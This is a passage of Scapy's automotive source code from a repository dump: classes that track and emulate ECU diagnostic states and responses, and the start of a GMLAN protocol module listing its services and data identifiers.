     if modify_in_place:\n            new_state = state\n        else:\n            new_state = copy.copy(state)\n\n        for layer in response.layers():\n            if not hasattr(layer, \"modify_ecu_state\"):\n                continue\n            try:\n                layer.modify_ecu_state(response, request, new_state)\n            except TypeError:\n                layer.modify_ecu_state.im_func(response, request, new_state)\n        return new_state\n\n\nclass Ecu(object):\n    \"\"\"An Ecu object can be used to\n        * track the states of an Ecu.\n        * to log all modification to an Ecu.\n        * to extract supported responses of a real Ecu.\n\n    Example:\n        >>> print(\"This ecu logs, tracks and creates supported responses\")\n        >>> my_virtual_ecu = Ecu()\n        >>> my_virtual_ecu.update(PacketList([...]))\n        >>> my_virtual_ecu.supported_responses\n        >>> print(\"Another ecu just tracks\")\n        >>> my_tracking_ecu = Ecu(logging=False, store_supported_responses=False)\n        >>> my_tracking_ecu.update(PacketList([...]))\n        >>> print(\"Another ecu just logs all modifications to it\")\n        >>> my_logging_ecu = Ecu(verbose=False, store_supported_responses=False)\n        >>> my_logging_ecu.update(PacketList([...]))\n        >>> my_logging_ecu.log\n        >>> print(\"Another ecu just creates supported responses\")\n        >>> my_response_ecu = Ecu(verbose=False, logging=False)\n        >>> my_response_ecu.update(PacketList([...]))\n        >>> my_response_ecu.supported_responses\n\n    Parameters to initialize an Ecu object\n\n    :param logging: Turn logging on or off. Default is on.\n    :param verbose: Turn tracking on or off. Default is on.\n    :param store_supported_responses: Create a list of supported responses if True.\n    :param lookahead: Configuration for lookahead when computing supported responses\n    \"\"\"    # noqa: E501\n    def __init__(self, logging=True, verbose=True,\n                 store_supported_responses=True, lookahead=10):\n        # type: (bool, bool, bool, int) -> None\n        self.state = EcuState()\n        self.verbose = verbose\n        self.logging = logging\n        self.store_supported_responses = store_supported_responses\n        self.lookahead = lookahead\n        self.log = defaultdict(list)  # type: Dict[str, List[Any]]\n        self.__supported_responses = list()  # type: List[EcuResponse]\n        self.__unanswered_packets = PacketList()\n\n    def reset(self):\n        # type: () -> None\n        \"\"\"\n        Resets the internal state to a default EcuState.\n        \"\"\"\n        self.state = EcuState(session=1)\n\n    def update(self, p):\n        # type: (Union[Packet, PacketList]) -> None\n        \"\"\"\n        Processes a Packet or a list of Packets, according to the chosen\n        configuration.\n        :param p: Packet or list of Packets\n        \"\"\"\n        if isinstance(p, PacketList):\n            for pkt in p:\n                self.update(pkt)\n        elif not isinstance(p, Packet):\n            raise TypeError(\"Provide a Packet object for an update\")\n        else:\n            self.__update(p)\n\n    def __update(self, pkt):\n        # type: (Packet) -> None\n        \"\"\"\n        Processes a Packet according to the chosen configuration.\n        :param pkt: Packet to be processed\n        \"\"\"\n        if self.verbose:\n            print(repr(self), repr(pkt))\n        if self.logging:\n            self.__update_log(pkt)\n        self.__update_supported_responses(pkt)\n\n    def __update_log(self, pkt):\n        # type: (Packet) -> None\n        \"\"\"\n        Checks if a packet or a layer of this packet supports the function\n        `get_log`. If `get_log` is supported, this function will be executed\n        and the returned log information is stored in the intern log of this\n        Ecu object.\n        :param pkt: A Packet to be processed for log information.\n        \"\"\"\n        for layer in pkt.layers():\n            if not hasattr(layer, \"get_log\"):\n                continue\n            try:\n                log_key, log_value = layer.get_log(pkt)\n            except TypeError:\n                log_key, log_value = layer.get_log.im_func(pkt)\n\n            self.log[log_key].append((pkt.time, log_value))\n\n    def __update_supported_responses(self, pkt):\n        # type: (Packet) -> None\n        \"\"\"\n        Stores a given packet as supported response, if a matching request\n        packet is found in a list of the latest unanswered packets. For\n        performance improvements, this list of unanswered packets only contains\n        a fixed number of packets, defined by the `lookahead` parameter of\n        this Ecu.\n        :param pkt: Packet to be processed.\n        \"\"\"\n        self.__unanswered_packets.append(pkt)\n        reduced_plist = self.__unanswered_packets[-self.lookahead:]\n        answered, unanswered = reduced_plist.sr(lookahead=self.lookahead)\n        self.__unanswered_packets = unanswered\n\n        for req, resp in answered:\n            added = False\n            current_state = copy.copy(self.state)\n            EcuState.get_modified_ecu_state(resp, req, self.state, True)\n\n            if not self.store_supported_responses:\n                continue\n\n            for sup_resp in self.__supported_responses:\n                if resp == sup_resp.key_response:\n                    if sup_resp.states is not None and \\\n                            self.state not in sup_resp.states:\n                        sup_resp.states.append(current_state)\n                    added = True\n                    break\n\n            if added:\n                continue\n\n            ecu_resp = EcuResponse(current_state, responses=resp)\n            if self.verbose:\n                print(\"[+] \", repr(ecu_resp))\n            self.__supported_responses.append(ecu_resp)\n\n    @staticmethod\n    def sort_key_func(resp):\n        # type: (EcuResponse) -> Tuple[bool, int, int, int]\n        \"\"\"\n        This sorts responses in the following order:\n        1. Positive responses first\n        2. Lower ServiceIDs first\n        3. Less supported states first\n        4. Longer (more specific) responses first\n        :param resp: EcuResponse to be sorted\n        :return: Tuple as sort key\n        \"\"\"\n        first_layer = cast(Packet, resp.key_response[0])  # type: ignore\n        service = orb(bytes(first_layer)[0])\n        return (service == 0x7f,\n                service,\n                0xffffffff - len(resp.states or []),\n                0xffffffff - len(resp.key_response))\n\n    @property\n    def supported_responses(self):\n        # type: () -> List[EcuResponse]\n        \"\"\"\n        Returns a sorted list of supported responses. The sort is done in a way\n        to provide the best possible results, if this list of supported\n        responses is used to simulate an real world Ecu with the\n        EcuAnsweringMachine object.\n        :return: A sorted list of EcuResponse objects\n        \"\"\"\n        self.__supported_responses.sort(key=self.sort_key_func)\n        return self.__supported_responses\n\n    @property\n    def unanswered_packets(self):\n        # type: () -> PacketList\n        \"\"\"\n        A list of all unanswered packets, which were processed by this Ecu\n        object.\n        :return: PacketList of unanswered packets\n        \"\"\"\n        return self.__unanswered_packets\n\n    def __repr__(self):\n        # type: () -> str\n        return repr(self.state)\n\n    @staticmethod\n    def extend_pkt_with_logging(cls):\n        # type: (Type[Packet]) -> Callable[[Callable[[Packet], Tuple[str, Any]]], None]  # noqa: E501\n        \"\"\"\n        Decorator to add a function as 'get_log' method to a given\n        class. This allows dynamic modifications and additions to a protocol.\n        :param cls: A packet class to be modified\n        :return: Decorator function\n        \"\"\"\n\n        def decorator_function(f):\n            # type: (Callable[[Packet], Tuple[str, Any]]) -> None\n            setattr(cls, \"get_log\", f)\n\n        return decorator_function\n\n\nclass EcuSession(DefaultSession):\n    \"\"\"\n    Tracks modification to an Ecu object 'on-the-flow'.\n\n    The parameters for the internal Ecu object are obtained from the kwargs\n    dict.\n\n    `logging`: Turn logging on or off. Default is on.\n    `verbose`: Turn tracking on or off. Default is on.\n    `store_supported_responses`: Create a list of supported responses, if True.\n\n    Example:\n        >>> sniff(session=EcuSession)\n\n    \"\"\"\n    def __init__(self, *args, **kwargs):\n        # type: (Any, Any) -> None\n        self.ecu = Ecu(logging=kwargs.pop(\"logging\", True),\n                       verbose=kwargs.pop(\"verbose\", True),\n                       store_supported_responses=kwargs.pop(\"store_supported_responses\", True))  # noqa: E501\n        super(EcuSession, self).__init__(*args, **kwargs)\n\n    def process(self, pkt: Packet) -> Optional[Packet]:\n        if not pkt:\n            return None\n        self.ecu.update(pkt)\n        return pkt\n\n\nclass EcuResponse:\n    \"\"\"Encapsulates responses and the according EcuStates.\n    A list of this objects can be used to configure an EcuAnsweringMachine.\n    This is useful, if you want to clone the behaviour of a real Ecu.\n\n    Example:\n        >>> EcuResponse(EcuState(session=2, security_level=2), responses=UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b\"deadbeef1\"))\n        >>> EcuResponse([EcuState(session=range(2, 5), security_level=2), EcuState(session=3, security_level=5)], responses=UDS()/UDS_RDBIPR(dataIdentifier=9)/Raw(b\"deadbeef4\"))\n\n    Initialize an EcuResponse capsule\n\n    :param state: EcuState or list of EcuStates in which this response\n                  is allowed to be sent. If no state provided, the response\n                  packet will always be send.\n    :param responses: A Packet or a list of Packet objects. By default the\n                      last packet is asked if it answers an incoming\n                      packet. This allows to send for example\n                      `requestCorrectlyReceived-ResponsePending` packets.\n    :param answers: Optional argument to provide a custom answer here:\n                    `lambda resp, req: return resp.answers(req)`\n                    This allows the modification of a response depending\n                    on a request. Custom SecurityAccess mechanisms can\n                    be implemented in this way or generic NegativeResponse\n                    messages which answers to everything can be realized\n                    in this way.\n    \"\"\"   # noqa: E501\n    def __init__(self, state=None, responses=Raw(b\"\\x7f\\x10\"), answers=None):\n        # type: (Optional[Union[EcuState, Iterable[EcuState]]], Union[Iterable[Packet], PacketList, Packet], Optional[Callable[[Packet, Packet], bool]]) -> None  # noqa: E501\n        if state is None:\n            self.__states = None  # type: Optional[List[EcuState]]\n        else:\n            if hasattr(state, \"__iter__\"):\n                state = cast(List[EcuState], state)\n                self.__states = state\n            else:\n                self.__states = [state]\n\n        if isinstance(responses, PacketList):\n            self.__responses = responses  # type: PacketList\n        elif isinstance(responses, Packet):\n            self.__responses = PacketList([responses])\n        elif hasattr(responses, \"__iter__\"):\n            responses = cast(List[Packet], responses)\n            self.__responses = PacketList(responses)\n        else:\n            raise TypeError(\n                \"Can't handle type %s as response\" % type(responses))\n\n        self.__custom_answers = answers\n\n    @property\n    def states(self):\n        # type: () -> Optional[List[EcuState]]\n        return self.__states\n\n    @property\n    def responses(self):\n        # type: () -> PacketList\n        return self.__responses\n\n    @property\n    def key_response(self):\n        # type: () -> Packet\n        pkt = self.__responses[-1]  # type: Packet\n        return pkt\n\n    def supports_state(self, state):\n        # type: (EcuState) -> bool\n        if self.__states is None or len(self.__states) == 0:\n            return True\n        else:\n            return any(s == state or state in s for s in self.__states)\n\n    def answers(self, other):\n        # type: (Packet) -> Union[int, bool]\n        if self.__custom_answers is not None:\n            return self.__custom_answers(self.key_response, other)\n        else:\n            return self.key_response.answers(other)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"%s, responses=%s\" % \\\n               (repr(self.__states),\n                [resp.summary() for resp in self.__responses])\n\n    def __eq__(self, other):\n        # type: (object) -> bool\n        other = cast(EcuResponse, other)\n\n        responses_equal = \\\n            len(self.responses) == len(other.responses) and \\\n            all(bytes(x) == bytes(y) for x, y in zip(self.responses,\n                                                     other.responses))\n        if self.__states is None:\n            return responses_equal\n        else:\n            return any(other.supports_state(s) for s in self.__states) and \\\n                responses_equal\n\n    def __ne__(self, other):\n        # type: (object) -> bool\n        # Python 2.7 compat\n        return not self == other\n\n    def command(self):\n        # type: () -> str\n        if self.__states is not None:\n            return \"EcuResponse(%s, responses=%s)\" % (\n                \"[\" + \", \".join(s.command() for s in self.__states) + \"]\",\n                \"[\" + \", \".join(p.command() for p in self.__responses) + \"]\")\n        else:\n            return \"EcuResponse(responses=%s)\" % \"[\" + \", \".join(\n                p.command() for p in self.__responses) + \"]\"\n\n    __hash__ = None  # type: ignore\n\n\nclass EcuAnsweringMachine(AnsweringMachine[PacketList]):\n    \"\"\"AnsweringMachine which emulates the basic behaviour of a real world ECU.\n    Provide a list of ``EcuResponse`` objects to configure the behaviour of a\n    AnsweringMachine.\n\n    Usage:\n        >>> resp = EcuResponse(session=range(0,255), security_level=0, responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x10))\n        >>> sock = ISOTPSocket(can_iface, tx_id=0x700, rx_id=0x600, basecls=UDS)\n        >>> answering_machine = EcuAnsweringMachine(supported_responses=[resp], main_socket=sock, basecls=UDS)\n        >>> sim = threading.Thread(target=answering_machine, kwargs={'count': 4, 'timeout':5})\n        >>> sim.start()\n    \"\"\"  # noqa: E501\n    function_name = \"EcuAnsweringMachine\"\n    sniff_options_list = [\"store\", \"opened_socket\", \"count\", \"filter\", \"prn\",\n                          \"stop_filter\", \"timeout\"]\n\n    def parse_options(\n            self,\n            supported_responses=None,  # type: Optional[List[EcuResponse]]\n            main_socket=None,  # type: Optional[SuperSocket]\n            broadcast_socket=None,  # type: Optional[SuperSocket]\n            basecls=Raw,  # type: Type[Packet]\n            timeout=None,  # type: Optional[Union[int, float]]\n            initial_ecu_state=None  # type: Optional[EcuState]\n    ):\n        # type: (...) -> None\n        \"\"\"\n        :param supported_responses: List of ``EcuResponse`` objects to define\n                                    the behaviour. The default response is\n                                    ``generalReject``.\n        :param main_socket: Defines the object of the socket to send\n                            and receive packets.\n        :param broadcast_socket: Defines the object of the broadcast socket.\n                                 Listen-only, responds with the main_socket.\n                                 `None` to disable broadcast capabilities.\n        :param basecls: Provide a basecls of the used protocol\n        :param timeout: Specifies the timeout for sniffing in seconds.\n        \"\"\"\n        self._main_socket = main_socket  # type: Optional[SuperSocket]\n        self._sockets = [self._main_socket]\n\n        if broadcast_socket is not None:\n            self._sockets.append(broadcast_socket)\n\n        self._initial_ecu_state = initial_ecu_state or EcuState(session=1)\n        self._ecu_state_mutex = Lock()\n        self._ecu_state = copy.copy(self._initial_ecu_state)\n\n        self._basecls = basecls  # type: Type[Packet]\n        self._supported_responses = supported_responses\n\n        self.sniff_options[\"timeout\"] = timeout\n        self.sniff_options[\"opened_socket\"] = self._sockets\n\n    @property\n    def state(self):\n        # type: () -> EcuState\n        return self._ecu_state\n\n    def reset_state(self):\n        # type: () -> None\n        with self._ecu_state_mutex:\n            self._ecu_state = copy.copy(self._initial_ecu_state)\n\n    def is_request(self, req):\n        # type: (Packet) -> bool\n        return isinstance(req, self._basecls)\n\n    def make_reply(self, req):\n        # type: (Packet) -> PacketList\n        \"\"\"\n        Checks if a given request can be answered by the internal list of\n        EcuResponses. First, it's evaluated if the internal EcuState of this\n        AnsweringMachine is supported by an EcuResponse, next it's evaluated if\n        a request answers the key_response of this EcuResponse object. The\n        first fitting EcuResponse is used. If this EcuResponse modified the\n        EcuState, the internal EcuState of this AnsweringMachine is updated,\n        and the list of response Packets of the selected EcuResponse is\n        returned. If no EcuResponse if found, a PacketList with a generic\n        NegativeResponse is returned.\n        :param req: A request packet\n        :return: A list of response packets\n        \"\"\"\n        if self._supported_responses is not None:\n            for resp in self._supported_responses:\n                if not isinstance(resp, EcuResponse):\n                    raise TypeError(\"Unsupported type for response. \"\n                                    \"Please use `EcuResponse` objects.\")\n\n                with self._ecu_state_mutex:\n                    if not resp.supports_state(self._ecu_state):\n                        continue\n\n                    if not resp.answers(req):\n                        continue\n\n                    EcuState.get_modified_ecu_state(\n                        resp.key_response, req, self._ecu_state, True)\n\n                    return resp.responses\n\n        return PacketList([self._basecls(\n            b\"\\x7f\" + bytes(req)[0:1] + b\"\\x10\")])\n\n    def send_reply(self, reply, send_function=None):\n        # type: (PacketList, Optional[Any]) -> None\n        \"\"\"\n        Sends all Packets of a EcuResponse object. This allows to send multiple\n        packets up on a request. If the list contains more than one packet,\n        a random time between each packet is waited until the next packet will\n        be sent.\n        :param reply: List of packets to be sent.\n        \"\"\"\n        for p in reply:\n            if len(reply) > 1:\n                time.sleep(random.uniform(0.01, 0.5))\n            if self._main_socket:\n                self._main_socket.send(p)\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive gm specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/gm/gmlan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Enrico Pozzobon <enrico.pozzobon@gmail.com>\n\n# scapy.contrib.description = General Motors Local Area Network (GMLAN)\n# scapy.contrib.status = loads\n\nimport struct\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.fields import (\n    ByteEnumField,\n    ConditionalField,\n    FieldListField,\n    MayEnd,\n    MultipleTypeField,\n    ObservableDict,\n    PacketField,\n    PacketListField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    X3BytesField,\n    XByteEnumField,\n    XByteField,\n    XIntField,\n    XShortEnumField,\n    XShortField,\n)\nfrom scapy.packet import Packet, bind_layers, NoPayload\nfrom scapy.config import conf\nfrom scapy.contrib.isotp import ISOTP\n\n\"\"\"\nGMLAN\n\"\"\"\n\ntry:\n    if conf.contribs['GMLAN']['treat-response-pending-as-answer']:\n        pass\nexcept KeyError:\n    # log_automotive.info(\"Specify \\\"conf.contribs['GMLAN'] = \"\n    #                    \"{'treat-response-pending-as-answer': True}\\\" to treat \"\n    #                    \"a negative response 'RequestCorrectlyReceived-\"\n    #                    \"ResponsePending' as answer of a request. \\n\"\n    #                    \"The default value is False.\")\n    conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False}\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = None\n\n\nclass GMLAN(ISOTP):\n    @staticmethod\n    def determine_len(x):\n        if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] is None:\n            log_automotive.warning(\n                \"Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! \"\n                \"Assign either 2,3 or 4\")\n        if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] \\\n                not in [2, 3, 4]:\n            log_automotive.warning(\n                \"Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! \"\n                \"Assign either 2,3 or 4\")\n        return conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == x\n\n    services = ObservableDict(\n        {0x04: 'ClearDiagnosticInformation',\n         0x10: 'InitiateDiagnosticOperation',\n         0x12: 'ReadFailureRecordData',\n         0x1a: 'ReadDataByIdentifier',\n         0x20: 'ReturnToNormalOperation',\n         0x22: 'ReadDataByParameterIdentifier',\n         0x23: 'ReadMemoryByAddress',\n         0x27: 'SecurityAccess',\n         0x28: 'DisableNormalCommunication',\n         0x2c: 'DynamicallyDefineMessage',\n         0x2d: 'DefinePIDByAddress',\n         0x34: 'RequestDownload',\n         0x36: 'TransferData',\n         0x3b: 'WriteDataByIdentifier',\n         0x3e: 'TesterPresent',\n         0x44: 'ClearDiagnosticInformationPositiveResponse',\n         0x50: 'InitiateDiagnosticOperationPositiveResponse',\n         0x52: 'ReadFailureRecordDataPositiveResponse',\n         0x5a: 'ReadDataByIdentifierPositiveResponse',\n         0x60: 'ReturnToNormalOperationPositiveResponse',\n         0x62: 'ReadDataByParameterIdentifierPositiveResponse',\n         0x63: 'ReadMemoryByAddressPositiveResponse',\n         0x67: 'SecurityAccessPositiveResponse',\n         0x68: 'DisableNormalCommunicationPositiveResponse',\n         0x6c: 'DynamicallyDefineMessagePositiveResponse',\n         0x6d: 'DefinePIDByAddressPositiveResponse',\n         0x74: 'RequestDownloadPositiveResponse',\n         0x76: 'TransferDataPositiveResponse',\n         0x7b: 'WriteDataByIdentifierPositiveResponse',\n         0x7e: 'TesterPresentPositiveResponse',\n         0x7f: 'NegativeResponse',\n         0xa2: 'ReportProgrammingState',\n         0xa5: 'ProgrammingMode',\n         0xa9: 'ReadDiagnosticInformation',\n         0xaa: 'ReadDataByPacketIdentifier',\n         0xae: 'DeviceControl',\n         0xe2: 'ReportProgrammingStatePositiveResponse',\n         0xe5: 'ProgrammingModePositiveResponse',\n         0xe9: 'ReadDiagnosticInformationPositiveResponse',\n         0xea: 'ReadDataByPacketIdentifierPositiveResponse',\n         0xee: 'DeviceControlPositiveResponse'})\n    name = 'General Motors Local Area Network'\n    fields_desc = [\n        XByteEnumField('service', 0, services)\n    ]\n\n    def answers(self, other):\n        if not isinstance(other, type(self)):\n            return False\n        if self.service == 0x7f:\n            return self.payload.answers(other)\n        if self.service == (other.service + 0x40):\n            if isinstance(self.payload, NoPayload) or \\\n                    isinstance(other.payload, NoPayload):\n                return True\n            else:\n                return self.payload.answers(other.payload)\n        return False\n\n    def hashret(self):\n        if self.service == 0x7f:\n            return struct.pack('B', self.requestServiceId & ~0x40)\n        return struct.pack('B', self.service & ~0x40)\n\n\n# ########################IDO###################################\nclass GMLAN_IDO(Packet):\n    subfunctions = {\n        0x02: 'disableAllDTCs',\n        0x03: 'enableDTCsDuringDevCntrl',\n        0x04: 'wakeUpLinks'}\n    name = 'InitiateDiagnosticOperation'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_IDO, service=0x10)\n\n\n# ########################RFRD###################################\nclass GMLAN_DTC(Packet):\n    name = 'GMLAN DTC information'\n    fields_desc = [\n        XByteField('failureRecordNumber', 0),\n        XByteField('DTCHighByte', 0),\n        XByteField('DTCLowByte', 0),\n        XByteField('DTCFailureType', 0)\n    ]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass GMLAN_RFRD(Packet):\n    subfunctions = {\n        0x01: 'readFailureRecordIdentifiers',\n        0x02: 'readFailureRecordParameters'}\n    name = 'ReadFailureRecordData'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, subfunctions),\n        ConditionalField(PacketField(\"dtc\", b'', GMLAN_DTC),\n                         lambda pkt: pkt.subfunction == 0x02)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RFRD, service=0x12)\n\n\nclass GMLAN_RFRDPR(Packet):\n    name = 'ReadFailureRecordDataPositiveResponse'\n    fields_desc = [\n        ByteEnumField('subfunction', 0, GMLAN_RFRD.subfunctions)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_RFRD) and \\\n            other.subfunction == self.subfunction\n\n\nbind_layers(GMLAN, GMLAN_RFRDPR, service=0x52)\n\n\nclass GMLAN_RFRDPR_RFRI(Packet):\n    failureRecordDataStructureIdentifiers = {\n        0x00: \"PID\",\n        0x01: \"DPID\"\n    }\n    name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordIdentifiers'\n    fields_desc = [\n        ByteEnumField('failureRecordDataStructureIdentifier', 0,\n                      failureRecordDataStructureIdentifiers),\n        PacketListField(\"dtcs\", [], GMLAN_DTC)\n    ]\n\n\nbind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRI, subfunction=0x01)\n\n\nclass GMLAN_RFRDPR_RFRP(Packet):\n    name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordParameters'\n    fields_desc = [\n        PacketField(\"dtc\", b'', GMLAN_DTC)\n    ]\n\n\nbind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRP, subfunction=0x02)\n\n\n# ########################RDBI###################################\nclass GMLAN_RDBI(Packet):\n    dataIdentifiers = ObservableDict({\n        0x90: \"$90: VehicleIdentificationNumber (VIN)\",\n        0x92: \"$92: SystemSupplierId (SYSSUPPID)\",\n        0x97: \"$97: SystemNameOrEngineType (SNOET)\",\n        0x98: \"$98: RepairShopCodeOrTesterSerialNumber (RSCOTSN)\",\n        0x99: \"$99: ProgrammingDate (PD)\",\n        0x9a: \"$9a: DiagnosticDataIdentifier (DDI)\",\n        0x9b: \"$9b: XmlConfigurationCompatibilityIdentifier (XMLCCID)\",\n        0x9C: \"$9C: XmlDataFilePartNumber (XMLDFPN)\",\n        0x9D: \"$9D: XmlDataFileAlphaCode (XMLDFAC)\",\n        0x9F: \"$9F: PreviousStoredRepairShopCodeOrTesterSerialNumbers \"\n              \"(PSRSCOTSN)\",\n        0xA0: \"$A0: manufacturers_enable_counter (MEC)\",\n        0xA1: \"$A1: ECUConfigurationOrCustomizationData (ECUCOCGD) 1\",\n        0xA2: \"$A2: ECUConfigurationOrCustomizationData (ECUCOCGD) 2\",\n        0xA3: \"$A3: ECUConfigurationOrCustomizationData (ECUCOCGD) 3\",\n        0xA4: \"$A4: ECUConfigurationOrCustomizationData (ECUCOCGD) 4\",\n        0xA5: \"$A5: ECUConfigurationOrCustomizationData (ECUCOCGD) 5\",\n        0xA6: \"$A6: ECUConfigurationOrCustomizationData (ECUCOCGD) 6\",\n        0xA7: \"$A7: ECUConfigurationOrCustomizationData (ECUCOCGD) 7\",\n        0xA8: \"$A8: ECUConfigurationOrCustomizationData (ECUCOCGD) 8\",\n        0xB0: \"$B0: ECUDiagnosticAddress (ECUADDR)\",\n        0xB1: \"$B1: ECUFunctionalSystemsAndVirtualDevices (ECUFSAVD)\",\n        0xB2: \"$B2: GM ManufacturingData (GMMD)\",\n        0xB3: \"$B3: Data Universal Numbering System Identification (DUNS)\",\n        0xB4: \"$B4: Manufacturing Traceability Characters (MTC)\",\n        0xB5: \"$B5: GM BroadcastCode (GMBC)\",\n        0xB6: \"$B6: GM Target Vehicle (GMTV)\",\n        0xB7: \"$B7: GM Software Usage Description (GMSUD)\",\n        0xB8: \"$B8: GM Bench Verification Information (GMBVI)\",\n        0xB9: \"$B9: Subnet_Config_List_HighSpeed (SCLHS)\",\n        0xBA: \"$BA: Subnet_Config_List_LowSpeed (SCLLS)\",\n        0xBB: \"$BB: Subnet_Config_List_MidSpeed (SCLMS)\",\n        0xBC: \"$BC: Subnet_Config_List_NonCan 1 (SCLNC 1)\",\n        0xBD: \"$BD: Subnet_Config_List_NonCan 2 (SCLNC 2)\",\n        0xBE: \"$BE: Subnet_Config_List_LIN (SCLLIN)\",\n        0xBF: \"$BF: Subnet_Config_List_GMLANChassisExpansionBus (SCLGCEB)\",\n        0xC0: \"$C0: BootSoftwarePartNumber (BSPN)\",\n        0xC1: \"$C1: SoftwareModuleIdentifier (SWMI) 01\",\n        0xC2: \"$C2: SoftwareModuleIdentifier (SWMI) 02\",\n        0xC3: \"$C3: SoftwareModuleIdentifier (SWMI) 03\",\n        0xC4: \"$C4: SoftwareModuleIdentifier (SWMI) 04\",\n        0xC5: \"$C5: SoftwareModuleIdentifier (SWMI) 05\",\n        0xC6: \"$C6: SoftwareModuleIdentifier (SWMI) 06\",\n        0xC7: \"$C7: SoftwareModuleIdentifier (SWMI) 07\",\n        0xC8: \"$C8: SoftwareModuleIdentifier (SWMI) 08\",\n        0xC9: \"$C9: SoftwareModuleIdentifier (SWMI) 09\",\n        0xCA: \"$CA: SoftwareModuleIdentifier (SWMI) 10\",\n        0xCB: \"$CB: EndModelPartNumber\",\n        0xCC: \"$CC: BaseModelPartNumber (BMPN)\",\n        0xD0: \"$D0: BootSoftwarePartNumberAlphaCode\",\n        0xD1: \"$D1: SoftwareModuleIdentifierAlphaCode (SWMIAC) 01\",\n        0xD2: \"$D2: SoftwareModuleIdentifierAlphaCode (SWMIAC) 02\",\n        0xD3: \"$D3: SoftwareModuleIdentifierAlphaCode (SWMIAC) 03\",\n        0xD4: \"$D4: SoftwareModuleIdentifierAlphaCode (SWMIAC) 04\",\n        0xD5: \"$D5: SoftwareModuleIdentifierAlphaCode (SWMIAC) 05\",\n        0xD6: \"$D6: SoftwareModuleIdentifierAlphaCode (SWMIAC) 06\",\n        0xD7: \"$D7: SoftwareModuleIdentifierAlphaCode (SWMIAC) 07\",\n        0xD8: \"$D8: SoftwareModuleIdentifierAlphaCode (SWMIAC) 08\",\n        0xD9: \"$D9: SoftwareModuleIdentifierAlphaCode (SWMIAC) 09\",\n        0xDA: \"$DA: SoftwareModuleIdentifierAlphaCode (SWMIAC) 10\",\n        0xDB: \"$DB: EndModelPartNumberAlphaCode\",\n        0xDC: \"$DC: BaseModelPartNumberAlphaCode\",\n        0xDD: \"$DD: SoftwareModuleIdentifierDataIdentifiers (SWMIDID)\",\n        0xDE: \"$DE: GMLANIdentificationData (GMLANID)\",\n        0xDF: \"$DF: ECUOdometerValue (ECUODO)\",\n        0xE0: \"$E0: VehicleLevelDataRecord (VLDR) 0\",\n        0xE1: \"$E1: VehicleLevelDataRecord (VLDR) 1\",\n        0xE2: \"$E2: VehicleLevelDataRecord (VLDR) 2\",\n        0xE3: \"$E3: VehicleLevelDataRecord (VLDR) 3\",\n        0xE4: \"$E4: VehicleLevelDataRecord (VLDR) 4\",\n        0xE5: \"$E5: VehicleLevelDataRecord (VLDR) 5\",\n        0xE6: \"$E6: VehicleLevelDataRecord (VLDR) 6\",\n        0xE7: \"$E7: VehicleLevelDataRecord (VLDR) 7\",\n        0xE8: \"$E8: Subnet_Config_List_GMLANPowertrainExpansionBus (SCLGPEB)\",\n        0xE9: \"$E9: Subnet_Config_List_GMLANFrontObjectExpansionBus \"\n              \"(SCLGFOEB)\",\n        0xEA: \"$EA: Subnet_Config_List_GMLANRearObjectExpansionBus (SCLGROEB)\",\n        0xEB: \"$EB: Subnet_Config_List_GMLANExpansionBus1 (SCLGEB1)\",\n        0xEC: \"$EC: Subnet_Config_List_GMLANExpansionBus2 (SCLGEB2)\",\n        0xED: \"$ED: Subnet_Config_List_GMLANExpansionBus3 (SCLGEB3)\",\n        0xEE: \"$EE: Subnet_Config_List_GMLANExpansionBus4 (SCLGEB4)\",\n        0xEF: \"$EF: Subnet_Config_List_GMLANExpansionBus5 (SCLGEB5)\",\n    })\n\n    name = 'ReadDataByIdentifier'\n    fields_desc = [\n        XByteEnumField('dataIdentifier', 0, dataIdentifiers)\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RDBI, service=0x1A)\n\n\nclass GMLAN_RDBIPR(Packet):\n    name = 'ReadDataByIdentifierPositiveResponse'\n    fields_desc = [\n        XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers),\n    ]\n\n    def answers(self, other):\n        return isinstance(other, GMLAN_RDBI) and \\\n            other.dataIdentifier == self.dataIdentifier\n\n\nbind_layers(GMLAN, GMLAN_RDBIPR, service=0x5A)\n\n\n# ########################RDBI###################################\nclass GMLAN_RDBPI(Packet):\n    dataIdentifiers = ObservableDict({\n        0x0005: \"OBD_EngineCoolantTemperature\",\n        0x000C: \"OBD_EngineRPM\",\n        0x001f: \"OBD_TimeSinceEngineStart\"\n    })\n    name = 'ReadDataByParameterIdentifier'\n    fields_desc = [\n        FieldListField(\"identifiers\", [],\n                       XShortEnumField('parameterIdentifier', 0,\n                                       dataIdentifiers))\n    ]\n\n\nbind_layers(GMLAN, GMLAN_RDBPI, service=0x22)\n\n\nclass GMLAN_RDBPIPR(Packet):\n    name = 'ReadDataByParameterIdentifierPositiveResponse'\n    